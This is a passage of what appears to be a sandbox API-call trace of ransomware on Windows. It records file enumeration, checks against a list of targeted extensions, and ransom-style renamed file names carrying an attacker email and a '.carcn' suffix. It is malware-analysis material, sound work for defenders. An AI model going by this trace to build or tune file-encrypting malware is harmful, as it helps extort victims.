dwMilliseconds=0x64) returned 0x102 [0270.644] GetTickCount () returned 0x13d33 [0270.644] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0271.000] GetTickCount () returned 0x13e9a [0271.000] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0271.565] GetTickCount () returned 0x140cd [0271.565] GetTickCount () returned 0x140cd [0271.565] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0272.200] GetTickCount () returned 0x1434d [0272.200] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0272.437] GetTickCount () returned 0x14438 [0272.437] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0272.581] GetTickCount () returned 0x144d4 [0272.581] GetTickCount () returned 0x144d4 [0272.581] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0273.118] GetTickCount () returned 0x146e7 [0273.118] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0273.328] GetTickCount () returned 0x147b2 [0273.328] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0273.574] GetTickCount () returned 0x148ac [0273.574] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0273.736] GetTickCount () returned 0x14958 [0273.736] GetTickCount () returned 0x14958 [0273.736] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0275.945] GetTickCount () returned 0x151f3 [0275.945] GetTickCount () returned 0x151f3 [0275.945] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0276.101] GetTickCount () returned 0x1528f [0276.101] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0276.376] GetTickCount () returned 0x15399 [0276.376] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0276.488] GetTickCount () returned 0x15416 [0276.488] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0276.594] GetTickCount () returned 0x15474 [0276.594] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0276.818] GetTickCount () returned 0x1555e [0276.819] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0277.553] GetTickCount () returned 0x1583d [0277.553] GetTickCount () returned 0x1583d [0277.553] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0278.102] GetTickCount () returned 0x15a50 [0278.102] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0278.709] GetTickCount () returned 0x15cc1 [0278.709] GetTickCount () returned 0x15cc1 [0278.709] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0279.114] GetTickCount () returned 0x15e57 [0279.114] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0279.548] GetTickCount () returned 0x15ffd [0279.548] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0280.338] GetTickCount () returned 0x1631a [0280.338] GetTickCount () returned 0x1631a [0280.338] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0280.705] GetTickCount () returned 0x16481 [0280.705] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0281.051] GetTickCount () returned 0x165e9 [0281.051] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0281.323] GetTickCount () returned 0x166f2 [0281.323] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0281.946] GetTickCount () returned 0x16963 [0281.946] GetTickCount () returned 0x16963 [0281.946] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0282.376] GetTickCount () returned 0x16b09 [0282.376] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0283.087] GetTickCount () returned 0x16dd8 [0283.087] GetTickCount () returned 0x16dd8 [0283.087] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0283.498] GetTickCount () returned 0x16f6e [0283.498] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0283.835] GetTickCount () returned 0x170c6 [0283.836] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0284.048] GetTickCount () returned 0x17191 [0284.048] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0284.284] GetTickCount () returned 0x1728b [0284.284] GetTickCount () returned 0x1728b [0284.284] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0284.599] GetTickCount () returned 0x173c3 [0284.611] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0284.785] GetTickCount () returned 0x1746f [0284.785] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0285.190] GetTickCount () returned 0x17606 [0285.190] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0285.371] GetTickCount () returned 0x176b1 [0285.371] GetTickCount () returned 0x176b1 [0285.371] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0285.702] GetTickCount () returned 0x177fa [0285.703] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0285.889] GetTickCount () returned 0x178b5 [0285.889] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0286.279] GetTickCount () returned 0x17a3c [0286.279] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0286.758] GetTickCount () returned 0x17c20 [0286.758] GetTickCount () returned 0x17c20 [0286.758] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0286.881] GetTickCount () returned 0x17cad [0286.881] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0287.084] GetTickCount () returned 0x17d78 [0287.087] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0287.513] GetTickCount () returned 0x17f1e [0287.513] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0287.945] GetTickCount () returned 0x180d3 [0287.945] GetTickCount () returned 0x180d3 [0287.945] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0288.399] GetTickCount () returned 0x18298 [0288.399] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0288.535] GetTickCount () returned 0x18325 [0288.535] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0289.190] GetTickCount () returned 0x185a6 [0289.190] GetTickCount () returned 0x185a6 [0289.190] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0289.341] GetTickCount () returned 0x18642 [0289.341] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0289.463] GetTickCount () returned 0x186bf [0289.463] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0289.690] GetTickCount () returned 0x1879a [0289.690] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0289.884] GetTickCount () returned 0x18865 [0289.884] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0290.047] GetTickCount () returned 0x18901 [0290.047] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0290.223] GetTickCount () returned 0x189bc [0290.223] GetTickCount () returned 0x189bc [0290.223] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x102 [0290.428] GetTickCount () returned 0x18a88 [0290.428] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x64) returned 0x0 [0290.428] WaitForMultipleObjects (nCount=0x4, lpHandles=0x281ff5c*=0x27c, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0294.832] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5371020 | out: hHeap=0x640000) returned 1 [0295.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680eb0 | out: hHeap=0x640000) returned 1 [0295.415] lstrlenW (lpString=".carcn") returned 6 [0295.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acc50 | out: hHeap=0x640000) returned 1 [0295.415] lstrlenW (lpString=".[carcinoma24@aol.com]") returned 22 [0295.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f348 | out: hHeap=0x640000) returned 1 [0295.415] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680f10 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ac9b0 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ac938 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6aca40 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6aca10 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ac8a8 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ac908 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680fe0 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acb00 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acc68 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acbc0 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680f90 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x681060 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acbf0 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680fd0 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acc80 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680ff0 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acc08 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680768 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680740 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65b150 | out: hHeap=0x640000) returned 1 [0295.416] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65b740 | out: hHeap=0x640000) returned 1 [0295.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x689120 | out: hHeap=0x640000) returned 1 [0295.417] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6571a0 | out: hHeap=0x640000) returned 1 [0295.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e94e0 [0295.417] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e94e0, Size=0x20) returned 0x699de8 [0295.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9660 [0295.417] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9660, Size=0x20) returned 0x699e60 [0295.418] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0295.418] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0295.418] Wow64DisableWow64FsRedirection (in: OldValue=0x281ff7c | out: OldValue=0x281ff7c*=0x1) returned 1 [0295.418] lstrlenW (lpString="kernel32.dll") returned 12 [0295.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699e60 | out: hHeap=0x640000) returned 1 [0295.418] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0295.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699de8 | out: hHeap=0x640000) returned 1 Thread: id = 43 os_tid = 0xd54 [0250.832] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x6ef9d8 [0250.832] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x6ff9e0 [0250.832] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a08f0 [0250.832] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x6ce120 [0250.832] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0830 [0250.832] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x350a020 [0250.835] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a08a8 [0250.835] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a08a8, Size=0x20) returned 0x680b50 [0250.835] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0938 [0250.835] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0938, Size=0x20) returned 0x6809e8 [0250.835] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0250.835] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0250.835] Wow64DisableWow64FsRedirection (in: OldValue=0x295ff50 | out: OldValue=0x295ff50*=0x0) returned 1 [0250.835] lstrlenW (lpString="kernel32.dll") returned 12 [0250.835] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680b50 | out: hHeap=0x640000) returned 1 [0250.835] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0250.835] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6809e8 | out: hHeap=0x640000) returned 1 [0250.835] Sleep (dwMilliseconds=0x64) [0251.288] lstrcmpiW (lpString1=".ini", lpString2=".carcn") returned 1 [0251.288] lstrlenW (lpString="desktop.ini") returned 11 [0251.288] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0251.289] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=129) returned 1 [0251.289] CloseHandle (hObject=0x300) returned 1 [0251.289] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0251.289] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0x26 [0251.290] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.290] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.291] lstrlenW (lpString=".doc") returned 4 [0251.291] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0251.291] lstrlenW (lpString=".docx") returned 5 [0251.291] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0251.291] lstrlenW (lpString=".pdf") returned 4 [0251.291] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0251.291] lstrlenW (lpString=".xls") returned 4 [0251.291] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0251.291] lstrlenW (lpString=".xlsx") returned 5 [0251.291] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0251.291] lstrlenW (lpString=".ppt") returned 4 [0251.291] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0251.291] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.291] lstrlenW (lpString=".zip") returned 4 [0251.291] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0251.291] lstrlenW (lpString=".rar") returned 4 [0251.291] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0251.291] lstrlenW (lpString=".bz2") returned 4 [0251.291] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0251.292] lstrlenW (lpString=".7z") returned 3 [0251.292] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0251.292] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.292] lstrlenW (lpString=".dbf") returned 4 [0251.292] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0251.292] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.292] lstrlenW (lpString=".1cd") returned 4 [0251.292] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0251.292] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.292] lstrlenW (lpString=".jpg") returned 4 [0251.292] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0251.292] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.292] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.292] lstrlenW (lpString=".doc") returned 4 [0251.292] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0251.292] lstrlenW (lpString=".docx") returned 5 [0251.292] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0251.292] lstrlenW (lpString=".pdf") returned 4 [0251.292] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0251.292] lstrlenW (lpString=".xls") returned 4 [0251.292] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0251.292] lstrlenW (lpString=".xlsx") returned 5 [0251.292] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0251.292] lstrlenW (lpString=".ppt") returned 4 [0251.292] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0251.292] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.293] lstrlenW (lpString=".zip") returned 4 [0251.293] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0251.293] lstrlenW (lpString=".rar") returned 4 [0251.293] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0251.293] lstrlenW (lpString=".bz2") returned 4 [0251.293] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0251.293] lstrlenW (lpString=".7z") returned 3 [0251.293] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0251.293] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.293] lstrlenW (lpString=".dbf") returned 4 [0251.293] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0251.293] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.293] lstrlenW (lpString=".1cd") returned 4 [0251.293] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0251.293] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0251.293] lstrlenW (lpString=".jpg") returned 4 [0251.293] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0251.293] Sleep (dwMilliseconds=0x64) [0251.746] Sleep (dwMilliseconds=0x64) [0252.117] Sleep (dwMilliseconds=0x64) [0252.459] Sleep (dwMilliseconds=0x64) [0252.902] lstrcmpiW (lpString1=".p7b", lpString2=".carcn") returned 1 [0252.902] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0252.902] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0253.808] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=4662) returned 1 [0253.808] CloseHandle (hObject=0x384) returned 1 [0253.808] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0253.808] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0253.809] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.809] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.809] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.809] lstrlenW (lpString=".doc") returned 4 [0253.809] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0253.809] lstrlenW (lpString=".docx") returned 5 [0253.809] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0253.809] lstrlenW (lpString=".pdf") returned 4 [0253.809] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0253.809] lstrlenW (lpString=".xls") returned 4 [0253.809] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0253.809] lstrlenW (lpString=".xlsx") returned 5 [0253.809] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0253.809] lstrlenW (lpString=".ppt") returned 4 [0253.809] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0253.809] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.809] lstrlenW (lpString=".zip") returned 4 [0253.809] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0253.809] lstrlenW (lpString=".rar") returned 4 [0253.809] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0253.809] lstrlenW (lpString=".bz2") returned 4 [0253.809] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0253.809] lstrlenW (lpString=".7z") returned 3 [0253.809] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0253.810] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.810] lstrlenW (lpString=".dbf") returned 4 [0253.810] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0253.810] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.810] lstrlenW (lpString=".1cd") returned 4 [0253.810] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0253.810] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.810] lstrlenW (lpString=".jpg") returned 4 [0253.810] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0253.810] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.810] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.810] lstrlenW (lpString=".doc") returned 4 [0253.810] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0253.810] lstrlenW (lpString=".docx") returned 5 [0253.810] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0253.810] lstrlenW (lpString=".pdf") returned 4 [0253.810] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0253.810] lstrlenW (lpString=".xls") returned 4 [0253.810] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0253.810] lstrlenW (lpString=".xlsx") returned 5 [0253.810] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0253.810] lstrlenW (lpString=".ppt") returned 4 [0253.810] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0253.810] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.810] lstrlenW (lpString=".zip") returned 4 [0253.810] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0253.810] lstrlenW (lpString=".rar") returned 4 [0253.811] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0253.811] lstrlenW (lpString=".bz2") returned 4 [0253.811] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0253.811] lstrlenW (lpString=".7z") returned 3 [0253.811] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0253.811] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.811] lstrlenW (lpString=".dbf") returned 4 [0253.811] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0253.811] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.811] lstrlenW (lpString=".1cd") returned 4 [0253.811] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0253.811] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0253.811] lstrlenW (lpString=".jpg") returned 4 [0253.811] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0253.811] Sleep (dwMilliseconds=0x64) [0254.427] Sleep (dwMilliseconds=0x64) [0254.884] Sleep (dwMilliseconds=0x64) [0255.411] lstrcmpiW (lpString1=".inc", lpString2=".carcn") returned 1 [0255.411] lstrlenW (lpString="adojavas.inc") returned 12 [0255.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0255.412] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=14856) returned 1 [0255.413] CloseHandle (hObject=0x414) returned 1 [0255.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0255.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0255.413] lstrlenW (lpString=".doc") returned 4 [0255.413] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.413] lstrlenW (lpString=".docx") returned 5 [0255.413] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.413] lstrlenW (lpString=".pdf") returned 4 [0255.413] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.413] lstrlenW (lpString=".xls") returned 4 [0255.413] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.413] lstrlenW (lpString=".xlsx") returned 5 [0255.413] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.413] 